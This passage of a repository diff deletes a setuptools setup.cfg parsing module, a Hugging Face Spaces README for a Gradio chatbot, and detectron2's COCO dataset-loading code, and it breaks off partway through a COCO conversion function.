-    from distutils.dist import DistributionMetadata  # noqa
-
-_Path = Union[str, os.PathLike]
-SingleCommandOptions = Dict["str", Tuple["str", Any]]
-"""Dict that associate the name of the options of a particular command to a
-tuple. The first element of the tuple indicates the origin of the option value
-(e.g. the name of the configuration file where it was read from),
-while the second element of the tuple is the option value itself
-"""
-AllCommandOptions = Dict["str", SingleCommandOptions]  # cmd name => its options
-Target = TypeVar("Target", bound=Union["Distribution", "DistributionMetadata"])
-
-
-def read_configuration(
-    filepath: _Path,
-    find_others=False,
-    ignore_option_errors=False
-) -> dict:
-    """Read given configuration file and returns options from it as a dict.
-
-    :param str|unicode filepath: Path to configuration file
-        to get options from.
-
-    :param bool find_others: Whether to search for other configuration files
-        which could be on in various places.
-
-    :param bool ignore_option_errors: Whether to silently ignore
-        options, values of which could not be resolved (e.g. due to exceptions
-        in directives such as file:, attr:, etc.).
-        If False exceptions are propagated as expected.
-
-    :rtype: dict
-    """
-    from setuptools.dist import Distribution
-
-    dist = Distribution()
-    filenames = dist.find_config_files() if find_others else []
-    handlers = _apply(dist, filepath, filenames, ignore_option_errors)
-    return configuration_to_dict(handlers)
-
-
-def apply_configuration(dist: "Distribution", filepath: _Path) -> "Distribution":
-    """Apply the configuration from a ``setup.cfg`` file into an existing
-    distribution object.
-    """
-    _apply(dist, filepath)
-    dist._finalize_requires()
-    return dist
-
-
-def _apply(
-    dist: "Distribution", filepath: _Path,
-    other_files: Iterable[_Path] = (),
-    ignore_option_errors: bool = False,
-) -> Tuple["ConfigHandler", ...]:
-    """Read configuration from ``filepath`` and applies to the ``dist`` object."""
-    from setuptools.dist import _Distribution
-
-    filepath = os.path.abspath(filepath)
-
-    if not os.path.isfile(filepath):
-        raise DistutilsFileError('Configuration file %s does not exist.' % filepath)
-
-    current_directory = os.getcwd()
-    os.chdir(os.path.dirname(filepath))
-    filenames = [*other_files, filepath]
-
-    try:
-        _Distribution.parse_config_files(dist, filenames=filenames)
-        handlers = parse_configuration(
-            dist, dist.command_options, ignore_option_errors=ignore_option_errors
-        )
-        dist._finalize_license_files()
-    finally:
-        os.chdir(current_directory)
-
-    return handlers
-
-
-def _get_option(target_obj: Target, key: str):
-    """
-    Given a target object and option key, get that option from
-    the target object, either through a get_{key} method or
-    from an attribute directly.
-    """
-    getter_name = 'get_{key}'.format(**locals())
-    by_attribute = functools.partial(getattr, target_obj, key)
-    getter = getattr(target_obj, getter_name, by_attribute)
-    return getter()
-
-
-def configuration_to_dict(handlers: Tuple["ConfigHandler", ...]) -> dict:
-    """Returns configuration data gathered by given handlers as a dict.
-
-    :param list[ConfigHandler] handlers: Handlers list,
-        usually from parse_configuration()
-
-    :rtype: dict
-    """
-    config_dict: dict = defaultdict(dict)
-
-    for handler in handlers:
-        for option in handler.set_options:
-            value = _get_option(handler.target_obj, option)
-            config_dict[handler.section_prefix][option] = value
-
-    return config_dict
-
-
-def parse_configuration(
-    distribution: "Distribution",
-    command_options: AllCommandOptions,
-    ignore_option_errors=False
-) -> Tuple["ConfigMetadataHandler", "ConfigOptionsHandler"]:
-    """Performs additional parsing of configuration options
-    for a distribution.
-
-    Returns a list of used option handlers.
-
-    :param Distribution distribution:
-    :param dict command_options:
-    :param bool ignore_option_errors: Whether to silently ignore
-        options, values of which could not be resolved (e.g. due to exceptions
-        in directives such as file:, attr:, etc.).
-        If False exceptions are propagated as expected.
-    :rtype: list
-    """
-    with expand.EnsurePackagesDiscovered(distribution) as ensure_discovered:
-        options = ConfigOptionsHandler(
-            distribution,
-            command_options,
-            ignore_option_errors,
-            ensure_discovered,
-        )
-
-        options.parse()
-        if not distribution.package_dir:
-            distribution.package_dir = options.package_dir  # Filled by `find_packages`
-
-        meta = ConfigMetadataHandler(
-            distribution.metadata,
-            command_options,
-            ignore_option_errors,
-            ensure_discovered,
-            distribution.package_dir,
-            distribution.src_root,
-        )
-        meta.parse()
-
-    return meta, options
-
-
-def _warn_accidental_env_marker_misconfig(label: str, orig_value: str, parsed: list):
-    """Because users sometimes misinterpret this configuration:
-
-    [options.extras_require]
-    foo = bar;python_version<"4"
-
-    It looks like one requirement with an environment marker
-    but because there is no newline, it's parsed as two requirements
-    with a semicolon as separator.
-
-    Therefore, if:
-        * input string does not contain a newline AND
-        * parsed result contains two requirements AND
-        * parsing of the two parts from the result ("<first>;<second>")
-        leads in a valid Requirement with a valid marker
-    a UserWarning is shown to inform the user about the possible problem.
-    """
-    if "\n" in orig_value or len(parsed) != 2:
-        return
-
-    with contextlib.suppress(InvalidRequirement):
-        original_requirements_str = ";".join(parsed)
-        req = Requirement(original_requirements_str)
-        if req.marker is not None:
-            msg = (
-                f"One of the parsed requirements in `{label}` "
-                f"looks like a valid environment marker: '{parsed[1]}'\n"
-                "Make sure that the config is correct and check "
-                "https://setuptools.pypa.io/en/latest/userguide/declarative_config.html#opt-2"  # noqa: E501
-            )
-            warnings.warn(msg, UserWarning)
-
-
-class ConfigHandler(Generic[Target]):
-    """Handles metadata supplied in configuration files."""
-
-    section_prefix: str
-    """Prefix for config sections handled by this handler.
-    Must be provided by class heirs.
-
-    """
-
-    aliases: Dict[str, str] = {}
-    """Options aliases.
-    For compatibility with various packages. E.g.: d2to1 and pbr.
-    Note: `-` in keys is replaced with `_` by config parser.
-
-    """
-
-    def __init__(
-        self,
-        target_obj: Target,
-        options: AllCommandOptions,
-        ignore_option_errors,
-        ensure_discovered: expand.EnsurePackagesDiscovered,
-    ):
-        sections: AllCommandOptions = {}
-
-        section_prefix = self.section_prefix
-        for section_name, section_options in options.items():
-            if not section_name.startswith(section_prefix):
-                continue
-
-            section_name = section_name.replace(section_prefix, '').strip('.')
-            sections[section_name] = section_options
-
-        self.ignore_option_errors = ignore_option_errors
-        self.target_obj = target_obj
-        self.sections = sections
-        self.set_options: List[str] = []
-        self.ensure_discovered = ensure_discovered
-
-    @property
-    def parsers(self):
-        """Metadata item name to parser function mapping."""
-        raise NotImplementedError(
-            '%s must provide .parsers property' % self.__class__.__name__
-        )
-
-    def __setitem__(self, option_name, value):
-        unknown = tuple()
-        target_obj = self.target_obj
-
-        # Translate alias into real name.
-        option_name = self.aliases.get(option_name, option_name)
-
-        current_value = getattr(target_obj, option_name, unknown)
-
-        if current_value is unknown:
-            raise KeyError(option_name)
-
-        if current_value:
-            # Already inhabited. Skipping.
-            return
-
-        skip_option = False
-        parser = self.parsers.get(option_name)
-        if parser:
-            try:
-                value = parser(value)
-
-            except Exception:
-                skip_option = True
-                if not self.ignore_option_errors:
-                    raise
-
-        if skip_option:
-            return
-
-        setter = getattr(target_obj, 'set_%s' % option_name, None)
-        if setter is None:
-            setattr(target_obj, option_name, value)
-        else:
-            setter(value)
-
-        self.set_options.append(option_name)
-
-    @classmethod
-    def _parse_list(cls, value, separator=','):
-        """Represents value as a list.
-
-        Value is split either by separator (defaults to comma) or by lines.
-
-        :param value:
-        :param separator: List items separator character.
-        :rtype: list
-        """
-        if isinstance(value, list):  # _get_parser_compound case
-            return value
-
-        if '\n' in value:
-            value = value.splitlines()
-        else:
-            value = value.split(separator)
-
-        return [chunk.strip() for chunk in value if chunk.strip()]
-
-    @classmethod
-    def _parse_dict(cls, value):
-        """Represents value as a dict.
-
-        :param value:
-        :rtype: dict
-        """
-        separator = '='
-        result = {}
-        for line in cls._parse_list(value):
-            key, sep, val = line.partition(separator)
-            if sep != separator:
-                raise DistutilsOptionError(
-                    'Unable to parse option value to dict: %s' % value
-                )
-            result[key.strip()] = val.strip()
-
-        return result
-
-    @classmethod
-    def _parse_bool(cls, value):
-        """Represents value as boolean.
-
-        :param value:
-        :rtype: bool
-        """
-        value = value.lower()
-        return value in ('1', 'true', 'yes')
-
-    @classmethod
-    def _exclude_files_parser(cls, key):
-        """Returns a parser function to make sure field inputs
-        are not files.
-
-        Parses a value after getting the key so error messages are
-        more informative.
-
-        :param key:
-        :rtype: callable
-        """
-
-        def parser(value):
-            exclude_directive = 'file:'
-            if value.startswith(exclude_directive):
-                raise ValueError(
-                    'Only strings are accepted for the {0} field, '
-                    'files are not accepted'.format(key)
-                )
-            return value
-
-        return parser
-
-    @classmethod
-    def _parse_file(cls, value, root_dir: _Path):
-        """Represents value as a string, allowing including text
-        from nearest files using `file:` directive.
-
-        Directive is sandboxed and won't reach anything outside
-        directory with setup.py.
-
-        Examples:
-            file: README.rst, CHANGELOG.md, src/file.txt
-
-        :param str value:
-        :rtype: str
-        """
-        include_directive = 'file:'
-
-        if not isinstance(value, str):
-            return value
-
-        if not value.startswith(include_directive):
-            return value
-
-        spec = value[len(include_directive) :]
-        filepaths = (path.strip() for path in spec.split(','))
-        return expand.read_files(filepaths, root_dir)
-
-    def _parse_attr(self, value, package_dir, root_dir: _Path):
-        """Represents value as a module attribute.
-
-        Examples:
-            attr: package.attr
-            attr: package.module.attr
-
-        :param str value:
-        :rtype: str
-        """
-        attr_directive = 'attr:'
-        if not value.startswith(attr_directive):
-            return value
-
-        attr_desc = value.replace(attr_directive, '')
-
-        # Make sure package_dir is populated correctly, so `attr:` directives can work
-        package_dir.update(self.ensure_discovered.package_dir)
-        return expand.read_attr(attr_desc, package_dir, root_dir)
-
-    @classmethod
-    def _get_parser_compound(cls, *parse_methods):
-        """Returns parser function to represents value as a list.
-
-        Parses a value applying given methods one after another.
-
-        :param parse_methods:
-        :rtype: callable
-        """
-
-        def parse(value):
-            parsed = value
-
-            for method in parse_methods:
-                parsed = method(parsed)
-
-            return parsed
-
-        return parse
-
-    @classmethod
-    def _parse_section_to_dict_with_key(cls, section_options, values_parser):
-        """Parses section options into a dictionary.
-
-        Applies a given parser to each option in a section.
-
-        :param dict section_options:
-        :param callable values_parser: function with 2 args corresponding to key, value
-        :rtype: dict
-        """
-        value = {}
-        for key, (_, val) in section_options.items():
-            value[key] = values_parser(key, val)
-        return value
-
-    @classmethod
-    def _parse_section_to_dict(cls, section_options, values_parser=None):
-        """Parses section options into a dictionary.
-
-        Optionally applies a given parser to each value.
-
-        :param dict section_options:
-        :param callable values_parser: function with 1 arg corresponding to option value
-        :rtype: dict
-        """
-        parser = (lambda _, v: values_parser(v)) if values_parser else (lambda _, v: v)
-        return cls._parse_section_to_dict_with_key(section_options, parser)
-
-    def parse_section(self, section_options):
-        """Parses configuration file section.
-
-        :param dict section_options:
-        """
-        for (name, (_, value)) in section_options.items():
-            with contextlib.suppress(KeyError):
-                # Keep silent for a new option may appear anytime.
-                self[name] = value
-
-    def parse(self):
-        """Parses configuration file items from one
-        or more related sections.
-
-        """
-        for section_name, section_options in self.sections.items():
-
-            method_postfix = ''
-            if section_name:  # [section.option] variant
-                method_postfix = '_%s' % section_name
-
-            section_parser_method: Optional[Callable] = getattr(
-                self,
-                # Dots in section names are translated into dunderscores.
-                ('parse_section%s' % method_postfix).replace('.', '__'),
-                None,
-            )
-
-            if section_parser_method is None:
-                raise DistutilsOptionError(
-                    'Unsupported distribution option section: [%s.%s]'
-                    % (self.section_prefix, section_name)
-                )
-
-            section_parser_method(section_options)
-
-    def _deprecated_config_handler(self, func, msg, warning_class):
-        """this function will wrap around parameters that are deprecated
-
-        :param msg: deprecation message
-        :param warning_class: class of warning exception to be raised
-        :param func: function to be wrapped around
-        """
-
-        @wraps(func)
-        def config_handler(*args, **kwargs):
-            warnings.warn(msg, warning_class)
-            return func(*args, **kwargs)
-
-        return config_handler
-
-
-class ConfigMetadataHandler(ConfigHandler["DistributionMetadata"]):
-
-    section_prefix = 'metadata'
-
-    aliases = {
-        'home_page': 'url',
-        'summary': 'description',
-        'classifier': 'classifiers',
-        'platform': 'platforms',
-    }
-
-    strict_mode = False
-    """We need to keep it loose, to be partially compatible with
-    `pbr` and `d2to1` packages which also uses `metadata` section.
-
-    """
-
-    def __init__(
-        self,
-        target_obj: "DistributionMetadata",
-        options: AllCommandOptions,
-        ignore_option_errors: bool,
-        ensure_discovered: expand.EnsurePackagesDiscovered,
-        package_dir: Optional[dict] = None,
-        root_dir: _Path = os.curdir
-    ):
-        super().__init__(target_obj, options, ignore_option_errors, ensure_discovered)
-        self.package_dir = package_dir
-        self.root_dir = root_dir
-
-    @property
-    def parsers(self):
-        """Metadata item name to parser function mapping."""
-        parse_list = self._parse_list
-        parse_file = partial(self._parse_file, root_dir=self.root_dir)
-        parse_dict = self._parse_dict
-        exclude_files_parser = self._exclude_files_parser
-
-        return {
-            'platforms': parse_list,
-            'keywords': parse_list,
-            'provides': parse_list,
-            'requires': self._deprecated_config_handler(
-                parse_list,
-                "The requires parameter is deprecated, please use "
-                "install_requires for runtime dependencies.",
-                SetuptoolsDeprecationWarning,
-            ),
-            'obsoletes': parse_list,
-            'classifiers': self._get_parser_compound(parse_file, parse_list),
-            'license': exclude_files_parser('license'),
-            'license_file': self._deprecated_config_handler(
-                exclude_files_parser('license_file'),
-                "The license_file parameter is deprecated, "
-                "use license_files instead.",
-                SetuptoolsDeprecationWarning,
-            ),
-            'license_files': parse_list,
-            'description': parse_file,
-            'long_description': parse_file,
-            'version': self._parse_version,
-            'project_urls': parse_dict,
-        }
-
-    def _parse_version(self, value):
-        """Parses `version` option value.
-
-        :param value:
-        :rtype: str
-
-        """
-        version = self._parse_file(value, self.root_dir)
-
-        if version != value:
-            version = version.strip()
-            # Be strict about versions loaded from file because it's easy to
-            # accidentally include newlines and other unintended content
-            try:
-                Version(version)
-            except InvalidVersion:
-                tmpl = (
-                    'Version loaded from {value} does not '
-                    'comply with PEP 440: {version}'
-                )
-                raise DistutilsOptionError(tmpl.format(**locals()))
-
-            return version
-
-        return expand.version(self._parse_attr(value, self.package_dir, self.root_dir))
-
-
-class ConfigOptionsHandler(ConfigHandler["Distribution"]):
-
-    section_prefix = 'options'
-
-    def __init__(
-        self,
-        target_obj: "Distribution",
-        options: AllCommandOptions,
-        ignore_option_errors: bool,
-        ensure_discovered: expand.EnsurePackagesDiscovered,
-    ):
-        super().__init__(target_obj, options, ignore_option_errors, ensure_discovered)
-        self.root_dir = target_obj.src_root
-        self.package_dir: Dict[str, str] = {}  # To be filled by `find_packages`
-
-    @classmethod
-    def _parse_list_semicolon(cls, value):
-        return cls._parse_list(value, separator=';')
-
-    def _parse_file_in_root(self, value):
-        return self._parse_file(value, root_dir=self.root_dir)
-
-    def _parse_requirements_list(self, label: str, value: str):
-        # Parse a requirements list, either by reading in a `file:`, or a list.
-        parsed = self._parse_list_semicolon(self._parse_file_in_root(value))
-        _warn_accidental_env_marker_misconfig(label, value, parsed)
-        # Filter it to only include lines that are not comments. `parse_list`
-        # will have stripped each line and filtered out empties.
-        return [line for line in parsed if not line.startswith("#")]
-
-    @property
-    def parsers(self):
-        """Metadata item name to parser function mapping."""
-        parse_list = self._parse_list
-        parse_bool = self._parse_bool
-        parse_dict = self._parse_dict
-        parse_cmdclass = self._parse_cmdclass
-
-        return {
-            'zip_safe': parse_bool,
-            'include_package_data': parse_bool,
-            'package_dir': parse_dict,
-            'scripts': parse_list,
-            'eager_resources': parse_list,
-            'dependency_links': parse_list,
-            'namespace_packages': self._deprecated_config_handler(
-                parse_list,
-                "The namespace_packages parameter is deprecated, "
-                "consider using implicit namespaces instead (PEP 420).",
-                SetuptoolsDeprecationWarning,
-            ),
-            'install_requires': partial(
-                self._parse_requirements_list, "install_requires"
-            ),
-            'setup_requires': self._parse_list_semicolon,
-            'tests_require': self._parse_list_semicolon,
-            'packages': self._parse_packages,
-            'entry_points': self._parse_file_in_root,
-            'py_modules': parse_list,
-            'python_requires': SpecifierSet,
-            'cmdclass': parse_cmdclass,
-        }
-
-    def _parse_cmdclass(self, value):
-        package_dir = self.ensure_discovered.package_dir
-        return expand.cmdclass(self._parse_dict(value), package_dir, self.root_dir)
-
-    def _parse_packages(self, value):
-        """Parses `packages` option value.
-
-        :param value:
-        :rtype: list
-        """
-        find_directives = ['find:', 'find_namespace:']
-        trimmed_value = value.strip()
-
-        if trimmed_value not in find_directives:
-            return self._parse_list(value)
-
-        # Read function arguments from a dedicated section.
-        find_kwargs = self.parse_section_packages__find(
-            self.sections.get('packages.find', {})
-        )
-
-        find_kwargs.update(
-            namespaces=(trimmed_value == find_directives[1]),
-            root_dir=self.root_dir,
-            fill_package_dir=self.package_dir,
-        )
-
-        return expand.find_packages(**find_kwargs)
-
-    def parse_section_packages__find(self, section_options):
-        """Parses `packages.find` configuration file section.
-
-        To be used in conjunction with _parse_packages().
-
-        :param dict section_options:
-        """
-        section_data = self._parse_section_to_dict(section_options, self._parse_list)
-
-        valid_keys = ['where', 'include', 'exclude']
-
-        find_kwargs = dict(
-            [(k, v) for k, v in section_data.items() if k in valid_keys and v]
-        )
-
-        where = find_kwargs.get('where')
-        if where is not None:
-            find_kwargs['where'] = where[0]  # cast list to single val
-
-        return find_kwargs
-
-    def parse_section_entry_points(self, section_options):
-        """Parses `entry_points` configuration file section.
-
-        :param dict section_options:
-        """
-        parsed = self._parse_section_to_dict(section_options, self._parse_list)
-        self['entry_points'] = parsed
-
-    def _parse_package_data(self, section_options):
-        package_data = self._parse_section_to_dict(section_options, self._parse_list)
-        return expand.canonic_package_data(package_data)
-
-    def parse_section_package_data(self, section_options):
-        """Parses `package_data` configuration file section.
-
-        :param dict section_options:
-        """
-        self['package_data'] = self._parse_package_data(section_options)
-
-    def parse_section_exclude_package_data(self, section_options):
-        """Parses `exclude_package_data` configuration file section.
-
-        :param dict section_options:
-        """
-        self['exclude_package_data'] = self._parse_package_data(section_options)
-
-    def parse_section_extras_require(self, section_options):
-        """Parses `extras_require` configuration file section.
-
-        :param dict section_options:
-        """
-        parsed = self._parse_section_to_dict_with_key(
-            section_options,
-            lambda k, v: self._parse_requirements_list(f"extras_require[{k}]", v)
-        )
-
-        self['extras_require'] = parsed
-
-    def parse_section_data_files(self, section_options):
-        """Parses `data_files` configuration file section.
-
-        :param dict section_options:
-        """
-        parsed = self._parse_section_to_dict(section_options, self._parse_list)
-        self['data_files'] = expand.canonic_data_files(parsed, self.root_dir)
diff --git a/spaces/BobbyOleti/MyGenAIChatBot/README.md b/spaces/BobbyOleti/MyGenAIChatBot/README.md
deleted file mode 100644
index ab1306875457bfd619475390491c41dbb0054353..0000000000000000000000000000000000000000
--- a/spaces/BobbyOleti/MyGenAIChatBot/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: MyGenAIChatBot
-emoji: 🦀
-colorFrom: indigo
-colorTo: gray
-sdk: gradio
-sdk_version: 3.39.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/CVPR/Dual-Key_Backdoor_Attacks/datagen/detectron2/detectron2/data/datasets/coco.py b/spaces/CVPR/Dual-Key_Backdoor_Attacks/datagen/detectron2/detectron2/data/datasets/coco.py
deleted file mode 100644
index 390d14f3db2a4efe0cea5bbca8d3fd882f1d063d..0000000000000000000000000000000000000000
--- a/spaces/CVPR/Dual-Key_Backdoor_Attacks/datagen/detectron2/detectron2/data/datasets/coco.py
+++ /dev/null
@@ -1,462 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
-import contextlib
-import datetime
-import io
-import json
-import logging
-import numpy as np
-import os
-import pycocotools.mask as mask_util
-from fvcore.common.file_io import PathManager, file_lock
-from fvcore.common.timer import Timer
-from PIL import Image
-
-from detectron2.structures import Boxes, BoxMode, PolygonMasks
-
-from .. import DatasetCatalog, MetadataCatalog
-
-"""
-This file contains functions to parse COCO-format annotations into dicts in "Detectron2 format".
-"""
-
-
-logger = logging.getLogger(__name__)
-
-__all__ = ["load_coco_json", "load_sem_seg"]
-
-
-def load_coco_json(json_file, image_root, dataset_name=None, extra_annotation_keys=None):
-    """
-    Load a json file with COCO's instances annotation format.
-    Currently supports instance detection, instance segmentation,
-    and person keypoints annotations.
-
-    Args:
-        json_file (str): full path to the json file in COCO instances annotation format.
-        image_root (str or path-like): the directory where the images in this json file exists.
-        dataset_name (str): the name of the dataset (e.g., coco_2017_train).
-            If provided, this function will also put "thing_classes" into
-            the metadata associated with this dataset.
-        extra_annotation_keys (list[str]): list of per-annotation keys that should also be
-            loaded into the dataset dict (besides "iscrowd", "bbox", "keypoints",
-            "category_id", "segmentation"). The values for these keys will be returned as-is.
-            For example, the densepose annotations are loaded in this way.
-
-    Returns:
-        list[dict]: a list of dicts in Detectron2 standard dataset dicts format. (See
-        `Using Custom Datasets </tutorials/datasets.html>`_ )
-
-    Notes:
-        1. This function does not read the image files.
-           The results do not have the "image" field.
-    """
-    from pycocotools.coco import COCO
-
-    timer = Timer()
-    json_file = PathManager.get_local_path(json_file)
-    with contextlib.redirect_stdout(io.StringIO()):
-        coco_api = COCO(json_file)
-    if timer.seconds() > 1:
-        logger.info("Loading {} takes {:.2f} seconds.".format(json_file, timer.seconds()))
-
-    id_map = None
-    if dataset_name is not None:
-        meta = MetadataCatalog.get(dataset_name)
-        cat_ids = sorted(coco_api.getCatIds())
-        cats = coco_api.loadCats(cat_ids)
-        # The categories in a custom json file may not be sorted.
-        thing_classes = [c["name"] for c in sorted(cats, key=lambda x: x["id"])]
-        meta.thing_classes = thing_classes
-
-        # In COCO, certain category ids are artificially removed,
-        # and by convention they are always ignored.
-        # We deal with COCO's id issue and translate
-        # the category ids to contiguous ids in [0, 80).
-
-        # It works by looking at the "categories" field in the json, therefore
-        # if users' own json also have incontiguous ids, we'll
-        # apply this mapping as well but print a warning.
-        if not (min(cat_ids) == 1 and max(cat_ids) == len(cat_ids)):
-            if "coco" not in dataset_name:
-                logger.warning(
-                    """
-Category ids in annotations are not in [1, #categories]! We'll apply a mapping for you.
-"""
-                )
-        id_map = {v: i for i, v in enumerate(cat_ids)}
-        meta.thing_dataset_id_to_contiguous_id = id_map
-
-    # sort indices for reproducible results
-    img_ids = sorted(coco_api.imgs.keys())
-    # imgs is a list of dicts, each looks something like:
-    # {'license': 4,
-    #  'url': 'http://farm6.staticflickr.com/5454/9413846304_881d5e5c3b_z.jpg',
-    #  'file_name': 'COCO_val2014_000000001268.jpg',
-    #  'height': 427,
-    #  'width': 640,
-    #  'date_captured': '2013-11-17 05:57:24',
-    #  'id': 1268}
-    imgs = coco_api.loadImgs(img_ids)
-    # anns is a list[list[dict]], where each dict is an annotation
-    # record for an object. The inner list enumerates the objects in an image
-    # and the outer list enumerates over images. Example of anns[0]:
-    # [{'segmentation': [[192.81,
-    #     247.09,
-    #     ...
-    #     219.03,
-    #     249.06]],
-    #   'area': 1035.749,
-    #   'iscrowd': 0,
-    #   'image_id': 1268,
-    #   'bbox': [192.81, 224.8, 74.73, 33.43],
-    #   'category_id': 16,
-    #   'id': 42986},
-    #  ...]
-    anns = [coco_api.imgToAnns[img_id] for img_id in img_ids]
-
-    if "minival" not in json_file:
-        # The popular valminusminival & minival annotations for COCO2014 contain this bug.
-        # However the ratio of buggy annotations there is tiny and does not affect accuracy.
-        # Therefore we explicitly white-list them.
-        ann_ids = [ann["id"] for anns_per_image in anns for ann in anns_per_image]
-        assert len(set(ann_ids)) == len(ann_ids), "Annotation ids in '{}' are not unique!".format(
-            json_file
-        )
-
-    imgs_anns = list(zip(imgs, anns))
-
-    logger.info("Loaded {} images in COCO format from {}".format(len(imgs_anns), json_file))
-
-    dataset_dicts = []
-
-    ann_keys = ["iscrowd", "bbox", "keypoints", "category_id"] + (extra_annotation_keys or [])
-
-    num_instances_without_valid_segmentation = 0
-
-    for (img_dict, anno_dict_list) in imgs_anns:
-        record = {}
-        record["file_name"] = os.path.join(image_root, img_dict["file_name"])
-        record["height"] = img_dict["height"]
-        record["width"] = img_dict["width"]
-        image_id = record["image_id"] = img_dict["id"]
-
-        objs = []
-        for anno in anno_dict_list:
-            # Check that the image_id in this annotation is the same as
-            # the image_id we're looking at.
-            # This fails only when the data parsing logic or the annotation file is buggy.
-
-            # The original COCO valminusminival2014 & minival2014 annotation files
-            # actually contains bugs that, together with certain ways of using COCO API,
-            # can trigger this assertion.
-            assert anno["image_id"] == image_id
-
-            assert anno.get("ignore", 0) == 0, '"ignore" in COCO json file is not supported.'
-
-            obj = {key: anno[key] for key in ann_keys if key in anno}
-
-            segm = anno.get("segmentation", None)
-            if segm:  # either list[list[float]] or dict(RLE)
-                if not isinstance(segm, dict):
-                    # filter out invalid polygons (< 3 points)
-                    segm = [poly for poly in segm if len(poly) % 2 == 0 and len(poly) >= 6]
-                    if len(segm) == 0:
-                        num_instances_without_valid_segmentation += 1
-                        continue  # ignore this instance
-                obj["segmentation"] = segm
-
-            keypts = anno.get("keypoints", None)
-            if keypts:  # list[int]
-                for idx, v in enumerate(keypts):
-                    if idx % 3 != 2:
-                        # COCO's segmentation coordinates are floating points in [0, H or W],
-                        # but keypoint coordinates are integers in [0, H-1 or W-1]
-                        # Therefore we assume the coordinates are "pixel indices" and
-                        # add 0.5 to convert to floating point coordinates.
-                        keypts[idx] = v + 0.5
-                obj["keypoints"] = keypts
-
-            obj["bbox_mode"] = BoxMode.XYWH_ABS
-            if id_map:
-                obj["category_id"] = id_map[obj["category_id"]]
-            objs.append(obj)
-        record["annotations"] = objs
-        dataset_dicts.append(record)
-
-    if num_instances_without_valid_segmentation > 0:
-        logger.warning(
-            "Filtered out {} instances without valid segmentation. "
-            "There might be issues in your dataset generation process.".format(
-                num_instances_without_valid_segmentation
-            )
-        )
-    return dataset_dicts
-
-
-def load_sem_seg(gt_root, image_root, gt_ext="png", image_ext="jpg"):
-    """
-    Load semantic segmentation datasets. All files under "gt_root" with "gt_ext" extension are
-    treated as ground truth annotations and all files under "image_root" with "image_ext" extension
-    as input images. Ground truth and input images are matched using file paths relative to
-    "gt_root" and "image_root" respectively without taking into account file extensions.
-    This works for COCO as well as some other datasets.
-
-    Args:
-        gt_root (str): full path to ground truth semantic segmentation files. Semantic segmentation
-            annotations are stored as images with integer values in pixels that represent
-            corresponding semantic labels.
-        image_root (str): the directory where the input images are.
-        gt_ext (str): file extension for ground truth annotations.
-        image_ext (str): file extension for input images.
-
-    Returns:
-        list[dict]:
-            a list of dicts in detectron2 standard format without instance-level
-            annotation.
-
-    Notes:
-        1. This function does not read the image and ground truth files.
-           The results do not have the "image" and "sem_seg" fields.
-    """
-
-    # We match input images with ground truth based on their relative filepaths (without file
-    # extensions) starting from 'image_root' and 'gt_root' respectively.
-    def file2id(folder_path, file_path):
-        # extract relative path starting from `folder_path`
-        image_id = os.path.normpath(os.path.relpath(file_path, start=folder_path))
-        # remove file extension
-        image_id = os.path.splitext(image_id)[0]
-        return image_id
-
-    input_files = sorted(
-        (os.path.join(image_root, f) for f in PathManager.ls(image_root) if f.endswith(image_ext)),
-        key=lambda file_path: file2id(image_root, file_path),
-    )
-    gt_files = sorted(
-        (os.path.join(gt_root, f) for f in PathManager.ls(gt_root) if f.endswith(gt_ext)),
-        key=lambda file_path: file2id(gt_root, file_path),
-    )
-
-    assert len(gt_files) > 0, "No annotations found in {}.".format(gt_root)
-
-    # Use the intersection, so that val2017_100 annotations can run smoothly with val2017 images
-    if len(input_files) != len(gt_files):
-        logger.warn(
-            "Directory {} and {} has {} and {} files, respectively.".format(
-                image_root, gt_root, len(input_files), len(gt_files)
-            )
-        )
-        input_basenames = [os.path.basename(f)[: -len(image_ext)] for f in input_files]
-        gt_basenames = [os.path.basename(f)[: -len(gt_ext)] for f in gt_files]
-        intersect = list(set(input_basenames) & set(gt_basenames))
-        # sort, otherwise each worker may obtain a list[dict] in different order
-        intersect = sorted(intersect)
-        logger.warn("Will use their intersection of {} files.".format(len(intersect)))
-        input_files = [os.path.join(image_root, f + image_ext) for f in intersect]
-        gt_files = [os.path.join(gt_root, f + gt_ext) for f in intersect]
-
-    logger.info(
-        "Loaded {} images with semantic segmentation from {}".format(len(input_files), image_root)
-    )
-
-    dataset_dicts = []
-    for (img_path, gt_path) in zip(input_files, gt_files):
-        record = {}
-        record["file_name"] = img_path
-        record["sem_seg_file_name"] = gt_path
-        dataset_dicts.append(record)
-
-    return dataset_dicts
-
-
-def convert_to_coco_dict(dataset_name):
-    """
-    Convert an instance detection/segmentation or keypoint detection dataset
-    in detectron2's standard format into COCO json format.
-
-    Generic dataset description can be found here:
-    https://detectron2.readthedocs.io/tutorials/datasets.html#register-a-dataset
-
-    COCO data format description can be found here:
-    http://cocodataset.org/#format-data
-
-    Args:
-        dataset_name (str):
-            name of the source dataset
-            Must be registered in DatastCatalog and in detectron2's standard format.
-            Must have corresponding metadata "thing_classes"
-    Returns:
-        coco_dict: serializable dict in COCO json format
-    """
-
-    dataset_dicts = DatasetCatalog.get(dataset_name)
-    metadata = MetadataCatalog.get(dataset_name)
-
-    # unmap the category mapping ids for COCO
-    if hasattr(metadata, "thing_dataset_id_to_contiguous_id"):
-        reverse_id_mapping = {v: k for k, v in metadata.thing_dataset_id_to_contiguous_id.items()}
-        reverse_id_mapper = lambda contiguous_id: reverse_id_mapping[contiguous_id]  # noqa
-    else:
-        reverse_id_mapper = lambda contiguous_id: contiguous_id  # noqa
-
-    categories = [
-        {"id": reverse_id_mapper(id), "name": name}
-        for id, name in enumerate(metadata.thing_classes)
-    ]
-
-    logger.info("Converting dataset dicts into COCO format")
-    coco_images = []
-    coco_annotations = []
-
-    for image_id, image_dict in enumerate(dataset_dicts):
-        coco_image = {
-            "id": image_dict.get("image_id", image_id),
-            "width": image_dict["width"],
-            "height": image_dict["height"],
-            "file_name": image_dict["file_name"],
-        }
-        coco_images.append(coco_image)
-
-        anns_per_image = image_dict["annotations"]
-        for annotation in anns_per_image:
-            # create a new dict with only COCO fields
-            coco_annotation = {}
-
-            # COCO requirement: XYWH box format
-            bbox = annotation["bbox"]
-            bbox_mode = annotation["bbox_mode"]
-            bbox = BoxMode.convert(bbox, bbox_mode, BoxMode.XYWH_ABS)
-
-            # COCO requirement: instance area
-            if "segmentation" in annotation:
-                # Computing areas for instances by counting the pixels
